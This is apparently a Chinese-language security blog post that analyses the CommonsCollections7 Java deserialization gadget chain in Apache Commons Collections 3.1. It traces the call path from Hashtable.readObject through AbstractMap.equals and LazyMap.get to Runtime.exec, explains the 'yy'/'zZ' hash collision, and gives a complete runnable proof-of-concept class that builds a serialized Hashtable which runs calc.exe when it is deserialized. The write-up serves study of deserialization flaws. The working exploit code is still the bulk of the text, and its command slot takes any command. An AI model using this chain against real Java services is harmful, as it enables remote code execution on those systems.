简介

CC7 也是利用的Commons Collections 3.1 的利用,看ysoserial里的利用链为入口是HashTable,针对HashTable的反序列化,再通过AbstractMap#equals来调用LazyMap#get

  1. /*
  2. Payload method chain:
  3. java.util.Hashtable.readObject
  4. java.util.Hashtable.reconstitutionPut
  5. org.apache.commons.collections.map.AbstractMapDecorator.equals
  6. java.util.AbstractMap.equals
  7. org.apache.commons.collections.map.LazyMap.get
  8. org.apache.commons.collections.functors.ChainedTransformer.transform
  9. org.apache.commons.collections.functors.InvokerTransformer.transform
  10. java.lang.reflect.Method.invoke
  11. sun.reflect.DelegatingMethodAccessorImpl.invoke
  12. sun.reflect.NativeMethodAccessorImpl.invoke
  13. sun.reflect.NativeMethodAccessorImpl.invoke0
  14. java.lang.Runtime.exec
  15. */

链路分析

  1. Map innerMap1 = new HashMap();
  2. Map innerMap2 = new HashMap();
  3. Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
  4. lazyMap1.put("yy",1);
  5. Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
  6. lazyMap2.put("zZ", 1);
  7. Hashtable hashtable = new Hashtable();
  8. hashtable.put(lazyMap1, 2);
  9. hashtable.put(lazyMap2, 1);

0x1

CC7 这里有一个知识点,直接看HashTable#put函数,传入的key和value为我们传入的第二个key-value对,在这个函数里,我们可以看到他会判断是否和传入的第一个值是否重复,也就是代码块中第8行到第17行,如果已经存在,就不会再写入hashtable中,如果不存在则会直接写入
在此处可以看到首先会对传入的key(也就是lazymap)进行执行一次hashcode()计算hash值,然后会对比已经存在hashtable的数据的hash是否与我们传入的key.hashCode()是否相等,然后就会调用已存在的lazymap1与传入的lazymap2进行比较

  1. public synchronized V put(K key, V value) {
  2. // Make sure the value is not null
  3. if (value == null) {
  4. throw new NullPointerException();
  5. }
  6. // Makes sure the key is not already in the hashtable.
  7. Entry<?,?> tab[] = table;
  8. int hash = key.hashCode();
  9. int index = (hash & 0x7FFFFFFF) % tab.length;
  10. @SuppressWarnings("unchecked")
  11. Entry<K,V> entry = (Entry<K,V>)tab[index];
  12. for(; entry != null ; entry = entry.next) {
  13. if ((entry.hash == hash) && entry.key.equals(key)) {
  14. V old = entry.value;
  15. entry.value = value;
  16. return old;
  17. }
  18. }
  19. addEntry(hash, key, value, index);
  20. return null;
  21. }

这里我再补充一下hashCode函数做了什么操作,在下图可以看见,对Key和Value进行Objects.hashCode()之后又做了一次异或,这时就需要保证Objects.hashCode(key1) == Objects.hashCode(key2)Objects.hashCode(value1) == Objects.hashCode(value2),这样计算出来的hashCode才是相等的,这里我尝试了很多,都没有发现相等的Key,ysoserial的作者给出的 yyzZ hashCode就是相等的
image.png

0x2

然后再看equals 函数,这里可以看到传入的object 为lazymap2,当前的this.map 为第一个传入的lazymap1(因为是他调用的equals方法),然后再跟进equals

  1. // AbstractMapDecorator.java
  2. public boolean equals(Object object) {
  3. return object == this ? true : this.map.equals(object);
  4. }

跟进下面代码块第8-24行,这里m为传入的lazymap2,第13行从迭代器里取出来的是已经写入到HashTable里的Entry,然后遍历获取对应的map(因为只有1个,这里就以lazymap1来说明了),获取lazymap1的key以及value,如果value 不为null,这里在22行就存在value.equals(m.get(key)),在这里我们不需要再关注这个equals函数,而是对m.get(key)关注,m为lazymap2,而调用get方法就是我们最终的目的,虽然现在还是在序列化过程中

  1. // AbstractMap
  2. public boolean equals(Object o) {
  3. if (o == this)
  4. return true;
  5. if (!(o instanceof Map))
  6. return false;
  7. Map<?,?> m = (Map<?,?>) o;
  8. if (m.size() != size())
  9. return false;
  10. try {
  11. Iterator<Entry<K,V>> i = entrySet().iterator();
  12. while (i.hasNext()) {
  13. Entry<K,V> e = i.next();
  14. K key = e.getKey();
  15. V value = e.getValue();
  16. if (value == null) {
  17. if (!(m.get(key)==null && m.containsKey(key)))
  18. return false;
  19. } else {
  20. if (!value.equals(m.get(key)))
  21. return false;
  22. }
  23. }
  24. } catch (ClassCastException unused) {
  25. return false;
  26. } catch (NullPointerException unused) {
  27. return false;
  28. }
  29. return true;
  30. }

在序列化过程中,调用了lazymap的get方法之后,返回了value(Object) ,
image.png
此时lazymap就多了这个value
image.png

0x3

那么在反序列化时,要保证要调用lazymap#get,那么需要保证两个lazymap被hashcode()之后,一定要相等,且调用的是lazymap2#get,那么lazymap2的Transformer factor 就要为执行命令的transformers,也需要将多余的LazyMap删除掉

  1. Transformer[] transformers = new Transformer[]{
  2. new ConstantTransformer(Runtime.class),
  3. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
  4. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
  5. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
  6. };
  7. lazyMap2.remove("yy");
  8. Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
  9. f.setAccessible(true);
  10. f.set(transformerChain, transformers);

POC

完整poc如下

  1. package com.myproject;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.map.LazyMap;
  7. import java.io.FileInputStream;
  8. import java.io.FileOutputStream;
  9. import java.io.ObjectInputStream;
  10. import java.io.ObjectOutputStream;
  11. import java.lang.reflect.Field;
  12. import java.util.HashMap;
  13. import java.util.Hashtable;
  14. import java.util.Map;
  15. public class TestCC7 {
  16. public static void main(String[] args) throws Exception {
  17. Transformer[] fackerTransformer = new Transformer[]{};
  18. Transformer transformerChain = new ChainedTransformer(fackerTransformer);
  19. Transformer[] transformers = new Transformer[]{
  20. new ConstantTransformer(Runtime.class),
  21. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
  22. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
  23. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
  24. };
  25. Map innerMap1 = new HashMap();
  26. Map innerMap2 = new HashMap();
  27. Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
  28. lazyMap1.put("yy",1);
  29. Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
  30. lazyMap2.put("zZ", 1);
  31. Hashtable hashtable = new Hashtable();
  32. hashtable.put(lazyMap1, 2);
  33. hashtable.put(lazyMap2, 1);
  34. Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
  35. f.setAccessible(true);
  36. f.set(transformerChain, transformers);
  37. lazyMap2.remove("yy");
  38. try {
  39. FileOutputStream fileOutputStream = new FileOutputStream("cc7.ser");
  40. ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
  41. objectOutputStream.writeObject(hashtable);
  42. FileInputStream fileInputStream = new FileInputStream("cc7.ser");
  43. ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
  44. objectInputStream.readObject();
  45. } catch (Exception e) {
  46. e.printStackTrace();
  47. }
  48. }
  49. }

调试

直接在LazyMap#get处打上断点,可以清晰看到对应的反序列化堆栈,就和序列化是一样的,最后把lazymap2里多余的键值对删除,并将其Transformer factor更改为cc1的经典transformers,然后再链式调用即可执行命令
image.png
image.png